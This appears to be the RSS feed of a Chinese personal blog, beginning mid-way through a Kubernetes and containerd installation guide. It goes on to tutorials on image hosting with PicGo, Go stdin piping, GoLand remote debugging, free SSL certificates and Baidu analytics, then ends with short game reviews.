通过运行以下指令确认 net.bridge.bridge-nf-call-iptablesnet.bridge.bridge-nf-call-ip6tablesnet.ipv4.ip_forward 系统变量在你的 sysctl 配置中被设置为 1

+

CRI

+

Container Runtime Interface(CRI),即容器运行时接口,要想使用K8s的话,需要系统提供CRI,目前实现了CRI的软件的有

+
    +
  • containerd,推荐用这个,比较轻量。
  • +
  • docker engine,并没有实现CRI但是可以通过其它方法桥接,不过一般安装了docker engine的系统都会有containerd,因为containerd就是docker的一部分,所以还是建议用containerd。
  • +
  • CRI-O
  • +
  • MCR
  • +
+

containerd

+

下面会用containerd来做演示,其实containerd安装过程就是docker安装过程,先设置docker官方的apt仓库

+

最后就只安装containerd.io,不用安装dcoker-ce和docker-cli。

+

或者你也可以直接下载containerd的二进制文件,它也是用go写的。在安装好后,需要配置systemd cgroup驱动,在containerd配置文件中

+

修改如下的配置项

+
+

提示

+

使用如下命令可以重置containerd配置

+
+

从软件包安装的话可能会默认禁用CRI,在配置文件中可能会看到这么一行,将其去掉就行。

+

修改完后重启containerd

+

安装

+

配置下k8s的阿里云apt源

+

更新证书

+

再更新源

+

最后安装kubeadmkubectlkubelet,这三个最好软件版本保持一致。

+

完成后确认版本

+

确认版本一致后,看看k8s的镜像,后续必须pull这些镜像,因为这是k8s集群运行的必要组件。

+

到目前为止,系统上会有下面这几个东西

+
    +
  • kebuadm,用来快速启动和搭建k8s集群的工具,可以省去我们很多操作。
  • +
  • kubelet,k8s集群命令行管理工具
  • +
  • kubelet,代表着一个节点,是k8s集群的基本单位。
  • +
  • crictl,容器运行时管理工具,只不过它是为k8s工作的,正确使用的前提是系统上安装了支持CRI的软件并正确指定了endpoint。
  • +
  • ctr,ctr是containerd的命令管理工具,containerd实现了CRI。
  • +
+

cri endpoint

+

ctrctl虽然是容器运行时管理工具,但是它并没有具体的实现,只是定义了一组接口规范。要想正常工作还得依赖具体的实现了CRI的软件,之前已经安装好了containerd,所以运行前要先指定crictl的runtime-endpoint,也就是containerd的sock地址。

+

通过查看配置文件etc/containerd/config.toml可以得知

+

那么endpoint就是

+

所以执行如下命令配置crictl

+

拉镜像

+

kubeadm支持通过命令预先拉取需要用到的组件镜像,也就是之前list出来的镜像,执行如下命令就可以预先拉取要用到的镜像。

+

但是不出意外的话,意外就会发生了,上述的镜像仓库是registry.k8s.io,是由谷歌托管的,国内基本上没法访问,甚至于在线获取版本信息都不行

+

解决方法就是国内的镜像,阿里云有一个镜像仓库,地址如下

+

网上有很多教程直接在kubeadm init时直接指定了阿里云镜像仓库,这样会导致kubelet没法正常运行,会说找不到组件的镜像,因为kubelet运行的时候只认registry.k8s.io镜像,而通过阿里云镜像仓库拉下来的镜像的前缀是registry.aliyuncs.com/google_containers,所以kubelet自然就没法启动了。所以对应的,拉取完下面的镜像后,应该将其名字改回去。

+

crictl并不能修改镜像名,这是ctr应该干的事情,为了能够查看到k8s的镜像,指定命名空间k8s.io

+

一个个改名太麻烦了,所以我写了一个脚本,来自动化完成这个过程。

+

或者也可以

+

初始化

+

接下来使用kubeadm来初始化,这个操作只用在master节点进行。init时有很多参数,开始前可以看看命令帮助。

+

接下来就开始初始化,如果上面的配置都做好了的话,是不会出现问题的。

+
]]>
+ +
+ + Typora配合图床搭建教程 + https://246859.github.io/my-blog-giscus/posts/code/pic.html + https://246859.github.io/my-blog-giscus/posts/code/pic.html + Typora配合图床搭建教程 + Typora配合图床搭建教程 Typora配合搭建完毕后的图床,可以有效的解决的md文件的图片引用问题。 + 技术日志 + Fri, 24 Mar 2023 00:00:00 GMT + Typora配合图床搭建教程 +
+

Typora配合搭建完毕后的图床,可以有效的解决的md文件的图片引用问题。

+ +
+

Typroa是一款很流行的Markdown编辑器,但是苦图片引用问题久矣,本地编写好的md文件发送给别人后,就好经常出现图片丢失问题,这种情况下只有两个方法:

+
    +
  • 把图片一起打包
  • +
  • 引用在线图片
  • +
+

一起打包显然会使得文件变得非常臃肿,在线图片也并不好找,同样的上述情况也适用于各个Markdown静态文档生成框架,举例VuePress,每个框架对于静态图片的引用都有着不同的规则,假设日后更换其他的框架图片引用问题将会非常的令人头疼。所以对于个人开发者而言,非常有必要搭建个人图床。

+
+

PicGo

+

一个用于快速上传图片并获取图片 URL 链接的工具,支持许多云服务商的对象存储,例如阿里云,腾讯云,七牛云等等,同时也支持Gitee,Github,软件技术基于Vue+Electron。

+

PicGo下载:Molunerfinn/PicGo: A simple & beautiful tool for pictures uploading built by vue-cli-electron-builder (github.com)

+
image-20230324201548045
image-20230324201548045
+

下载完成后,打开是下面这个样子。

+
image-20230324201612971
image-20230324201612971
+

这个是最简陋的版本,一个个手动上传肯定是很累的,这里打开Typora的设置(如果是其他Markdown编辑器应该也是同理)

+
image-20230324201808929
image-20230324201808929
+

但此时PicGo还未配置成功,点击验证图片上传肯定是会失败的,接下来有两个选择。

+

GItee

+

这里之所以使用Gitee而不使用Github,主要是Github国内的访问速度太感人了,想要达到正常速度必须自行搭建CDN,所以这里利用一下免费的GItee。不过Gitee前不久已经加了防盗链,如果是在网站上引用图床肯定是会失效的,但如果只是在本地Markdown文件引用依旧可以成功。

+

创建仓库

+

首先需要创建一个公开的仓库,不公开访问不了,名称建议英文,最好不要带特殊符号。

+
image-20230324202452126
image-20230324202452126
+

私人令牌

+

接下来要获取私人令牌

+
image-20230324202548316
image-20230324202548316
+

在个人设置中创建一个私人令牌。

+
image-20230324202639749
image-20230324202639749
+

描述随意,建议只放开这几个权限,生成后记住你的私人令牌。

+

下载插件

+

打开PciGo软件,点开插件设置,搜索Gitee,下载gitee-Uploader。

+
image-20230324202915702
image-20230324202915702
+

等待安装完毕后,在图床设置中填写gitee的配置项

+
image-20230324203304435
image-20230324203304435
+

完成后点击确认,并设置为默认图床,然后到上传区测试结果即可

+
image-20230324205101674
image-20230324205101674
+
+

腾讯云Cos

+

作者恰好前不久买了腾讯云对象存储的资源包,就刚好拿来当图床用,其他云服务商的配置过程都是类似的。首先在对象存储控制台中访问密钥

+

申请密钥

+
image-20230324203515364
image-20230324203515364
+

然后前往密钥界面

+
image-20230324203613705
image-20230324203613705
+

记住APPIDSecretIdSecretKey

+

创建桶

+
image-20230324204211170
image-20230324204211170
+

在创建存储桶时必须要保证桶的权限是公共读私有写,也就是可以匿名访问,记住BucketId和区域后就可以前往PicoGo中填写配置。

+

填写配置

+
image-20230324203822706
image-20230324203822706
+

填写完配置项后确认并设置为默认图床,然后在上传区测试即可。

+
image-20230324203857990
image-20230324203857990
+
+

最后

+

配置完成后的效果是Typora直接复制图片就会上传到个人图床,这样日后文件迁移也会方便的多,当然前提是得有一个稳定的图床。

+]]>
+ +
+ + Go读取Linux命令行管道参数 + https://246859.github.io/my-blog-giscus/posts/code/pipeline.html + https://246859.github.io/my-blog-giscus/posts/code/pipeline.html + Go读取Linux命令行管道参数 + Go读取Linux命令行管道参数 + 技术日志 + Sat, 23 Dec 2023 00:00:00 GMT + Go读取Linux命令行管道参数 +
+ +
+

在用go编写命令行程序的时候,参数有三个来源

+
    +
  1. 命令行参数
  2. +
  3. 命令行标志
  4. +
  5. 管道
  6. +
+

Linux管道是一个很常见的用法,用于将上一个命令的结果作为下一个命令的参数

+

但并不是所有命令行程序都支持管道参数,比如echo就不支持,这种情况我们一般会用xargs来转化下。

+

它会读取管道参数然后作为标准命令行参数传递给下一个命令,不过它有可能会破坏源文件的内容,所以我们还是自身支持管道更好一些。

+

在使用管道时,实际上是将结果写入了标准输入stdin中,对于我们而言,就只需要从标准输入中读取就行了。很容易就能想到该怎么写

+

可如果只是直接从标准输入读取,如果在使用命令的时候没有使用管道,那么这行代码就会一直阻塞下去。所以我们得首先判断是否是管道模式,再去读取管道参数,所以应该这样写

+

看看使用情况

+

不使用管道

+

这样一来,就可以区分使用管道和不使用管道的情况了,在不使用管道的情况下就可以从标准命令行参数里面去读取。

+]]>
+ +
+ + Goland远程开发与远程调试 + https://246859.github.io/my-blog-giscus/posts/code/remotedev.html + https://246859.github.io/my-blog-giscus/posts/code/remotedev.html + Goland远程开发与远程调试 + Goland远程开发与远程调试 本文讲解了如何使用Goland的远程开发和远程调试功能 + 技术日志 + Mon, 15 May 2023 00:00:00 GMT + Goland远程开发与远程调试 +
+

本文讲解了如何使用Goland的远程开发和远程调试功能

+ +
+

最近的一个项目是要部署在Linux上运行,但我习惯了在Windows上进行开发,许多开发工具都是在Windows上,所以远程开发和远程调试非常有必要,代码依旧在本地写,只是编译和部署放在Linux上。先说一下我的环境:

+

本地环境:Windows10,go1.20.2 dlv1.20.2

+

远程环境:ubuntu20LTS(虚拟机),go1.20.4,dlv1.20.2

+
+

提示

+

虽然本文Linux用的是虚拟机,但是放在云服务器上一样使用。

+
+

Go Build 配置

+

首先在Goland运行配置里新建一个Go Build配置,然后选择Run On SSH

+
+

输入Host和要登录的用户名

+
+

登录成功后Goland会尝试执行which go命令,也许会失败,不过这并不影响,后面自己指定就行。再然后才是远程开发的重要配置

+
+
    +
  • Project path on target:该目录是后续操作的项目根目录,后续Goland自动上传的文件都会位于该目录下
  • +
  • Go Executable:go二进制文件,该二进制文件并不是自己项目的二进制文件,而是go源代码的二进制文件,通常位于$GOROOT/bin/目录下
  • +
  • GOPATH:不需要多做解释
  • +
  • Project sources directory:Goland在编译时会先将源码上传到远程服务器上,该目录就是源码的指定位置,如果不填的话就会在项目根目录下随机生成目录,看起来很烦。
  • +
  • Compiled exectuables directory:编译完成后二进制文件存放的文件夹。
  • +
+

完成后如下

+
image-20230515172036551
image-20230515172036551
+

然后再Go Build中记得勾选 Build on remote target,这样上面的配置才会生效

+
+

Go Remote配置

+

在运行配置中新建Go Remote

+
+

然后填写你的调试服务器IP和端口

+
+

调试服务器就是dlv,如果在远程服务器中已经安装好了go环境,直接执行以下命令即可安装dlv

+

使用dlv命令运行调试服务器

+

每一个参数是什么作用可以在github上了解,exec参数后跟二进制文件的路径

+

开发流程

+

上述所有配置完毕后,开发流程就是:

+
    +
  1. 本地编写代码
  2. +
  3. Goland更新远程服务器的源代码并编译
  4. +
  5. 运行dlv调试服务器
  6. +
  7. 本地运行Go Remote进行调试
  8. +
+

这样一来远程开发和远程调试的问题就都解决了,非常nice,远程调试起来也跟本地调试几乎没什么区别。

+]]>
+ +
+ + 免费SSL证书申请 + https://246859.github.io/my-blog-giscus/posts/code/ssl_cert_collect.html + https://246859.github.io/my-blog-giscus/posts/code/ssl_cert_collect.html + 免费SSL证书申请 + 免费SSL证书申请 + 技术日志 + Fri, 12 Apr 2024 00:00:00 GMT + 免费SSL证书申请 +
+ +
+

如果想要让你的网站在公网中正常访问,SSL绝对是不可或缺的部分,没有SSL的话浏览器甚至会直接警告不要访问,搜索引擎的权重也会降低。对于个人开发者而言,如果只是部署一些文档或测试网站,购买昂贵的SSL证书并不是一个好的选择,所以这里收集了一系列SSL证书免费申请的网站,以供白嫖参考,下面是内容都是从免费证书的角度出发的,不具备商业参考性。

+

1.Let's Encrypt

+

这是一家很老牌的免费SSL证书颁发机构,他们的宗旨就是促进互联网向HTTPS发展。

+
+

官网:Let's Encrypt - 免费的SSL/TLS证书 (letsencrypt.org)

+

优点:完全免费,公益的组织,申请数量没有限制

+

缺点:证书只有3个月有效期(可通过脚本自动化续签),使用门槛较高,教程中英混杂,不适合普通小白用户。

+

适用人群:对于开源组织,个人开发者有一定技术力的人群来说来说,Let's Encrypt绝对是首选。

+

2.腾讯云

+

腾讯云是国内的一家云服务大厂,提供很多各种各样的云服务,其中包括SSL证书。

+
+

官网:概览 - SSL 证书 - 腾讯云 (tencent.com)

+

优点:免费证书有效期12个月(24年4月25日后降至3个月),文档丰富,可视化界面管理,无域名额度限制,可绑定任意域名,集成站内应用比较方便。

+

缺点:对于免费证书而言,个人用户限制50个(企业用户10个),且不支持自动续签

+

适用人群:国内用户,小白

+

3.阿里云

+

阿里云同样提供免费的SSL证书,相比腾讯云就一般般了

+
+

缺点:个人用户免费证书只有20个,不支持根证书下载,证书有效期3个月,国内其它的云厂商大都类似

+

4.OHTTPS

+

OHTTPS 致力于为用户提供 零门槛、简单、高效 的HTTPS证书服务,它基于Let‘s Eencrypt,我的评价是神中神。

+
+

优点:可视化界面,自动化管理,并且是完全支持免费证书(单域名,多域名,泛域名),对于个人开发者来说算没有缺点了,唯一能算的就是证书有效期只有3个月,但是它支持自动更新,所以也就不是问题,并且还支持对接国内的云服务商。

+

缺点:唯一的缺点就是需要付费,不过新用户自动赠送的余额可以用好几年了

+

适用人群:所有人,只要想使用免费证书,OHTTPS就完全适合你。

+]]>
+ +
+ + VuePress使用百度统计分析网站流量 + https://246859.github.io/my-blog-giscus/posts/code/statistic.html + https://246859.github.io/my-blog-giscus/posts/code/statistic.html + VuePress使用百度统计分析网站流量 + VuePress使用百度统计分析网站流量 VuePress结合百度统计,分析网站的访问情况 + 技术日志 + Tue, 12 Jul 2022 00:00:00 GMT + VuePress使用百度统计分析网站流量 +
+

VuePress结合百度统计,分析网站的访问情况

+ +
+

关于网站统计和分析,常用的有如下这些服务商,统计系统主要只是统计数据,分析系统在统计的同时还可以进一步分析数据,对于我而言仅仅只是需要统计一下网站的访问量即可,所以选择统计系统。

+
+

本文主要讲的是百度统计,国内使用起来方便一些,虽然百度统计有些功能下线了,可能是因为业务不行吧,但是对我这种轻度用户来说足够使用了,谷歌分析会涉及到一些翻墙的事情。

+

注册

+

百度统计:百度统计——一站式智能数据分析与应用平台 ,首先前往百度统计页面,登录账号,完成后进入产品即可,个人开发者使用免费版即可。

+
+

新增网站

+

来到使用设置/网站列表页面,点击新增网站

+
+

按照你自己的网站信息去填写表单

+
+

获取代码

+

添加成功后,来到代码管理,复制生成的JS代码

+
+

如果只是一般的HTML页面,可以选择直接将复制后的代码放入index.html中的<head>标签内,但我是用的VuePress,不可能每次编译完后手动加到生成的index.html中,所以找到项目中的配置文件.vuepress/config.ts,像如下编写即可。

+
+

提示

+

VuePress复制代码时不需要<script>标签

+
+

安装检查

+

上述操作弄完后,将网站重新部署,然后在使用设置页面的网站列表点击安装检查

+
+

一般在部署完十几分钟后可以正常使用,如果代码安装检查失败可以检查一下是不是在外网或者域名填写错误。

+

统计查看

+

在网站概况中可以很清晰的看到网站的浏览量趋势统计和图表

+
+

也可以看到访问者的地域分布统计

+
+

对于我的小站来说,上述功能已经足够使用了,更多功能的话还请自己去慢慢发现。

+]]>
+ +
+ + 血源诅咒 + https://246859.github.io/my-blog-giscus/posts/game/bloodborn.html + https://246859.github.io/my-blog-giscus/posts/game/bloodborn.html + 血源诅咒 + 血源诅咒 心中永远的神作游戏,没有之一 + 游戏杂谈 + Sun, 01 Jan 2017 00:00:00 GMT + 血源诅咒 +
+

心中永远的神作游戏,没有之一

+ +
+]]>
+ +
+ + 黑暗之魂I:重制版 + https://246859.github.io/my-blog-giscus/posts/game/darksoul1.html + https://246859.github.io/my-blog-giscus/posts/game/darksoul1.html + 黑暗之魂I:重制版 + 黑暗之魂I:重制版 开山之作,地图设计极其优秀,三部曲中氛围最好,也是最喜欢的。 + 游戏杂谈 + Mon, 12 Aug 2019 00:00:00 GMT + 黑暗之魂I:重制版 + +

开山之作,地图设计极其优秀,三部曲中氛围最好,也是最喜欢的。

+ +
+]]>
+
+ + 黑暗之魂II:原罪学者 + https://246859.github.io/my-blog-giscus/posts/game/darksoul2.html + https://246859.github.io/my-blog-giscus/posts/game/darksoul2.html + 黑暗之魂II:原罪学者 + 黑暗之魂II:原罪学者 自身足够优秀,但是相比于它的前辈和后辈就有点黯然失色了。 + 游戏杂谈 + Fri, 09 Apr 2021 00:00:00 GMT + 黑暗之魂II:原罪学者 +
+

自身足够优秀,但是相比于它的前辈和后辈就有点黯然失色了。

+ +
+]]>
+ +
+ + 黑暗之魂III:火之将熄 + https://246859.github.io/my-blog-giscus/posts/game/darksoul3.html + https://246859.github.io/my-blog-giscus/posts/game/darksoul3.html + 黑暗之魂III:火之将熄 + 黑暗之魂III:火之将熄 延续了一贯的风格,魂系列的佳作。 + 游戏杂谈 + Tue, 08 Sep 2020 00:00:00 GMT + 黑暗之魂III:火之将熄 + +

延续了一贯的风格,魂系列的佳作。

+ +
+]]>
+
+ + 神界原罪2 + https://246859.github.io/my-blog-giscus/posts/game/divinity.html + https://246859.github.io/my-blog-giscus/posts/game/divinity.html + 神界原罪2 + 神界原罪2 一款十分精彩的RPG,不论是战斗还是剧情都很出色。 + 游戏杂谈 + Sun, 02 Apr 2023 00:00:00 GMT + 神界原罪2 +
+

一款十分精彩的RPG,不论是战斗还是剧情都很出色。

+ +
+

其实这款游戏我很早就听说它的大名了,但是直到最近才开始打算正式的去体验一下,最后历时71个小时通关了该作。在当今快节奏的时代,各种游戏都在越来越趋于快餐化,力求让玩家能够以更少的操作得到更好的体验,神界原罪2显然并不属于此类,作为一款比较传统的RPG游戏,如果不静下心来体验,那么将会错过非常多的细节和剧情,同样的也会丧失很多乐趣。

+

背景设定

+
二代故事舞台只是绿维珑一个很小的部分
二代故事舞台只是绿维珑一个很小的部分
+

故事发生在一个名为绿维珑的大陆上,大陆上的七个神根据自己的模样创造了主要的种族,分别是人类,精灵,矮人,侏儒,蜥蜴人,兽人这六个主要种族。人族数量最多,遍布世界各地,精灵生活在森林里,寿命十分长寿,矮人强壮有力,科技也很发达,蜥蜴人的古代帝国历史十分悠久,同样也是一个非常强大的势力,侏儒在这个世界观里面属于是科技最发达的一个种族,甚至造出了”计算机“,兽人的存在感最弱。世界上有一种物质叫秘源,体内拥有这种物质的人被称为秘源术士,有的是强大的魔法师,或是骁勇善战的战士,抑或是百步穿杨的弓箭手。秘源的使用会导致世界帷幕的破碎,从而引来了另一个世界的生物--虚空异兽,为了抵抗虚空,七神献出了各自一半的力量交给最强的秘源术士--神谕者,让他来领导世界抵抗虚空世界,然而上述只是七神的洗脑版本。真实情况是,在很久以前,一位永生族的学者研究发现了世界帷幕的存在,从帷幕上可以获得秘源的力量,而帷幕的另一边就是虚空,他向神王报告了此事,但是神王觉得虚空太过危险,于是下令停止研究。但是神王下属的七个领主却找到了这名学者,获取了帷幕的力量,将神王和永生族人全部打入了虚空,永生族人全都变成了虚空异兽,七领主将自己包装成了神的模样并创造了自己的种族,并让他们的种族信仰自己,这就是神的原罪。而在几千年后,一个名为温迪戈的秘源术士引发了一场灾难,事后被神谕教团押往欢乐堡,在前往欢乐堡的复仇女神号船上,主角们的故事就正式开始了。

+

主角团

+
+

主角团六人分别是沉睡了千年的永生族亡灵费恩,因曾经被奴役而踏上复仇之路的精灵希贝儿,体内寄宿着恶魔而走上驱魔之路的歌手洛思,曾经参加黑环战争导致精灵种族大灭绝而心灰意冷的孤狼雇佣兵伊凡,被恶魔蛊惑导致驱逐出王室蜥蜴人猩红王子,反抗矮人女王暴政失败而流落当海盗的矮人贵族比斯特,游戏剧情本身是一部群像剧,六个开始毫无关联的秘源术士,在冒险的过程中会产生各种羁绊,他们的过往经历和剧情相互交错,最终都会汇聚到一起,踏上了同一个征途 -- 成为神谕者。

+

任务系统

+

该作的任务引导很弱,并不像育碧那种直接在地图上标明了该去哪里,要做什么步骤,为了能让玩家更有代入感,游戏选择了以一种日记的方式来记录每一个任务推进的过程,玩家每发现一条线索或者是触发了什么事件都会被记录在日记上。虽然游戏本身是开放世界地图,但是每一个任务并不会告诉你该去哪里该怎么做,所有任务的细节和流程全部都隐藏在大量的NPC文本对话中。这样做的好处是,可以让玩家更见能够带入主角的视角来体验剧情,同样的缺点也很明显,由于游戏本身非常自由,任务的弱引导经常过导致玩家到处闲逛不小心触发了一个剧情线,而提前开启该线可能会导致原本的支线流程失败或者没有达到想要的结果等等后果,我本身在玩的时候就经常会出现这种情况,不过在第一章过后熟悉了游戏本身的机制后就会习惯性非常留意每一个NPC所说的细节,也就不再会存在满地图乱跑的情况了。

+
任务系统
任务系统
+

战斗系统

+

游戏的战斗部分是回合制+策略战棋,角色开场拥有有限的行动点数,不论是移动,还是攻击还是释放技能,都会消耗行动点数,一些特殊技能还会消耗秘源点数。

+
战斗部分
战斗部分
+

游戏中有很多不同的职业,每一个职业在属性天赋能力上都有着不同的权重,总体来说常见的流派分为法师,弓手,战士,刺客,辅助,召唤师这几个,除此之外还有一些邪门的流派比如陷阱流等等。游戏本身十分的自由,在中期后便可以无限的洗点,所以玩家可以随时随地的决定自己的职业。

+
人物界面
人物界面
+

在游戏的前期,资源匮乏,可以学习的技能比较少,以平A为主的物理系职业比较吃香,到了中期地图浮木镇以后,法师的输出就开始成熟了,而到后期法师的伤害几乎是完爆物理职业。游戏中法师最强的一个技能,大地学派的大地之怒十分变态,即便是在最终战中,辅助将所有的怪聚集在一起后,只需要一个大地之怒便可以秒杀所有敌人结束战斗,足以可见其伤害有多么恐怖。

+

结语

+

尽管游戏本身很优秀,但是后两章地图由于资金问题肉眼可见的质量明显下降,总体来说游戏体验最佳的部分就是第一章欢乐堡和第二章浮木镇,后期的战斗也变得相对比较无聊,但这些并不影响神界原罪2成为一款十分优秀的CRPG作品,甚至是该界的天花板。

+]]>
+ +
+ + 风来之国 + https://246859.github.io/my-blog-giscus/posts/game/eastward.html + https://246859.github.io/my-blog-giscus/posts/game/eastward.html + 风来之国 + 风来之国 它让我想起了小时候躲在被窝里在捧着老式诺基亚玩的一款塞班像素游戏 + 游戏杂谈 + Mon, 20 Sep 2021 00:00:00 GMT + 风来之国 +
+

它让我想起了小时候躲在被窝里在捧着老式诺基亚玩的一款塞班像素游戏

+ +
+]]>
+ +
+ + 艾尔登法环 + https://246859.github.io/my-blog-giscus/posts/game/elden_ring.html + https://246859.github.io/my-blog-giscus/posts/game/elden_ring.html + 艾尔登法环 + 艾尔登法环 魂系列集大成之作,唯一一个全成就的游戏,首发预购的含金量 + 游戏杂谈 + Fri, 25 Feb 2022 00:00:00 GMT + 艾尔登法环 +
+

魂系列集大成之作,唯一一个全成就的游戏,首发预购的含金量

+ +
+]]>
+ +
+ + 烟火 + https://246859.github.io/my-blog-giscus/posts/game/firework.html + https://246859.github.io/my-blog-giscus/posts/game/firework.html + 烟火 + 烟火 一款小体量的恐怖游戏,像一本短暂又令人回味的小说 + 游戏杂谈 + Mon, 15 Mar 2021 00:00:00 GMT + 烟火 + +

一款小体量的恐怖游戏,像一本短暂又令人回味的小说

+ +
+

正文

+]]>
+
+ + 激流快艇 + https://246859.github.io/my-blog-giscus/posts/game/gp.html + https://246859.github.io/my-blog-giscus/posts/game/gp.html + 激流快艇 + 激流快艇 初中在家里的智能电视上玩的激流快艇2,童年回忆之一,第三部是18年出的,人长大了但电视还是那个电视,现在还能玩不过卡跟ppt一样。 + 游戏杂谈 + Mon, 09 Oct 2023 00:00:00 GMT + 激流快艇 +
+

初中在家里的智能电视上玩的激流快艇2,童年回忆之一,第三部是18年出的,人长大了但电视还是那个电视,现在还能玩不过卡跟ppt一样。

+ +
+]]>
+ +
+ + 古剑奇谭三:梦付千秋星垂野 + https://246859.github.io/my-blog-giscus/posts/game/gujianqitan.html + https://246859.github.io/my-blog-giscus/posts/game/gujianqitan.html + 古剑奇谭三:梦付千秋星垂野 + 古剑奇谭三:梦付千秋星垂野 高中时在WebGame上掏钱买的一款国产游戏,应该是那段时间国产游戏行业的一道光 + 游戏杂谈 + Wed, 02 Jan 2019 00:00:00 GMT + 古剑奇谭三:梦付千秋星垂野 +
+

高中时在WebGame上掏钱买的一款国产游戏,应该是那段时间国产游戏行业的一道光

+ +
+]]>
+ +
+ + 天国拯救 + https://246859.github.io/my-blog-giscus/posts/game/kingdom_come.html + https://246859.github.io/my-blog-giscus/posts/game/kingdom_come.html + 天国拯救 + 天国拯救 一个铁匠儿子成长为剑术大师的故事,剧情挺好,战斗太难了,为了看剧情开修改器过的。 + 游戏杂谈 + Sun, 05 Sep 2021 00:00:00 GMT + 天国拯救 +
+

一个铁匠儿子成长为剑术大师的故事,剧情挺好,战斗太难了,为了看剧情开修改器过的。

+ +
+]]>
+ +
+ + Minecraft + https://246859.github.io/my-blog-giscus/posts/game/mc.html + https://246859.github.io/my-blog-giscus/posts/game/mc.html + Minecraft + Minecraft 从小学就开始玩了,从啥都不会到自己搭建游戏服务器,再到自己编写游戏插件,踏上编程之路也全是因为它。 + 游戏杂谈 + Sun, 20 Sep 2020 00:00:00 GMT + Minecraft +
+

从小学就开始玩了,从啥都不会到自己搭建游戏服务器,再到自己编写游戏插件,踏上编程之路也全是因为它。

+ +
+]]>
+ +
+ + 僵尸毁灭工程 + https://246859.github.io/my-blog-giscus/posts/game/pzb.html + https://246859.github.io/my-blog-giscus/posts/game/pzb.html + 僵尸毁灭工程 + 僵尸毁灭工程 一款十分真实的丧尸沙盒生存游戏,心中同题材下最好的游戏。 + 游戏杂谈 + Thu, 01 Dec 2022 00:00:00 GMT + 僵尸毁灭工程 +
+

一款十分真实的丧尸沙盒生存游戏,心中同题材下最好的游戏。

+ +
+

有那么一段时间我比较沉迷于丧尸这个题材,不论是小说还是电影或者是游戏,在尝试了非常多的这类题材作品过后,最后发现了代入感最强的还是这一款名为《僵尸毁灭工程》的沙盒生存游戏。不过在稍微了解了这个游戏的历史后,发现它居然有好几年的制作历史了,并且一直在持续更新中,在创意工坊中有着大量的玩家自制的MOD可供使用,生态也算是非常的好了。

+

真实感

+
僵毁中的医学人体图
僵毁中的医学人体图
+

虽然游戏本身的画面并不是特别出色,甚至角色还是多边形人,但是丝毫不会减少游戏的魅力--真实。游戏在很多地方都力求还原现实,比如角色遇到丧尸会害怕,当处于恐惧状态时,会跑的更快,但是攻击伤害会更低。当翻窗进废弃房屋搜寻物资时,需要注意窗户上是否有碎玻璃,否则会划伤身体,而清理玻璃必须要戴手套或者使用工具,否则徒手清理也会受伤。当玩家受伤时,需要进行及时的包扎和消毒,如果不及时照顾伤口可能会导致伤口感染,感染后就可能会增加恶化的几率,伤口过深可能会引起破伤风,这时候需要更加专业的医疗工具来进行治疗。当角色遇到的负面事情过多时,就会陷入抑郁状态,而过度抑郁会导致角色状态大幅度下降等等,上述所描述的这些也只是游戏中众多细节中的其中几种,正是这些看起来十分繁琐的细节促成了很强的沉浸感和代入感,玩家可以很直观的体会到一个普通人在面对丧尸危机大爆发的无力感和绝望感。

+

背景

+

游戏在初代其实是想走线性流程这个方向,那时候是有固定的剧情,但是到了后续更新变成了开放世界沙盒模式,剧情也删减了很多,就现在而言几乎没有什么剧情,但是有一个基本的背景设定(顺便提一下游戏早期只有四个人开发,一路走来可以说是十分的励志)。僵尸毁灭工程的故事发生在上个世界90年代的美国肯塔基州,病毒爆发地点位于路易斯维尔市,也就是地图上右上角的那个大城市,在军方的生化实验室病毒泄露后,短短几天事情便发展到了不可控的地步,直到最后蔓延到了全球。

+
肯塔基架空地图
肯塔基架空地图
+

而作为主角的玩家,只是一个平平无奇的普通人,唯一的目标就是搜寻资源并在这个末世活下去,除此之外游戏开始之后便不会再有任何的剧情。

+

流程

+

游戏机制算得上十分复杂,玩家需要注意的东西挺多的,第一次玩可能会摸不着头脑,需要考虑到季节,天气,温度,时间,饥饿,口渴,疲劳,忧郁,无聊,受伤,负重等等。在正常的流程中,一般是7月9号夏天开局,你的职业可以是一个普通的上班族,也可以是警察或者是建筑工人,或者是退伍军人,在刚开始的几天仍然会正常播放电视节目和广播节目,彻底沦陷后整个世界只剩一片寂静。门外可能已经聚集了不少丧尸,这时手无寸铁的你需要利用手上一切可以使用的工具,溜出房子去寻找一个安全的庇护所。第一件要做的事就是武装自己,可以是平底锅,棒球棒,撬棍,或者是钢管,切记千万不要随便开枪,枪声会引来一大群丧尸,这反而会成为丧尸们的开饭铃。在找到武器后玩家需要将自己身体的重要部位保护起来,一旦被丧尸造成伤口后果是不堪设想的,你需要穿一些厚实的衣服,但注意别太暖和了,否则运动一小会你就会中暑。

+

当有了基本的自我保护能力后,你需要搜集食物和水源,因为不久后城市里就会断水断电,在超市和便利店里可能还会有一些其他幸存者没有搜刮完的食物,这些地方往往危机四伏,冰箱里的食物记得尽早食用,食物腐烂后会导致食物中毒,在医疗崩溃的条件下生病基本等同于死亡,这也是为什么即便再渴也不要随便引用来历不明的水。看见医疗物资一定要记得带上,末世下医疗物资十分珍贵,即便是感冒都可能要人命。居住的庇护所至少要有两层,因为在一楼沦陷的情况下还可以从二楼逃跑,切记时刻给自己留退路,在睡觉的时候一定要记得关门,没有人知道夜里会发生什么事情,在丧尸入侵庇护所后,如果尸体过多不清理掉,很有可能会导致你感染。在完全的断水断电后,对于水源你可以接雨水或者到河边取水后煮沸了再饮用,对于食物你可以不断的出去搜寻物资,或者将找到的种子耕种成农作物自给自足。在基本的稳定下来后,你可以短暂的放松一下了,长时间神经的紧绷会让你十分敏感,这可能会导致抑郁,尝试看录像带或者看漫画来缓解和放松心情。在外出搜寻的过程中,你可能会偶尔听到直升机的声音,在看到直升机后千万不要像个傻子一样大声呼救,马上躲到建筑物内不要让它发现。新闻直升机在发现你后并不会实施救援,而一直盘旋在你头顶拍摄新闻素材,尤其喜欢拍摄幸存者被丧尸撕咬的画面,螺旋桨所发出的巨大噪声会把几乎半个城市的丧尸全部吸引过来,这时候你基本上就是死路一条。

+

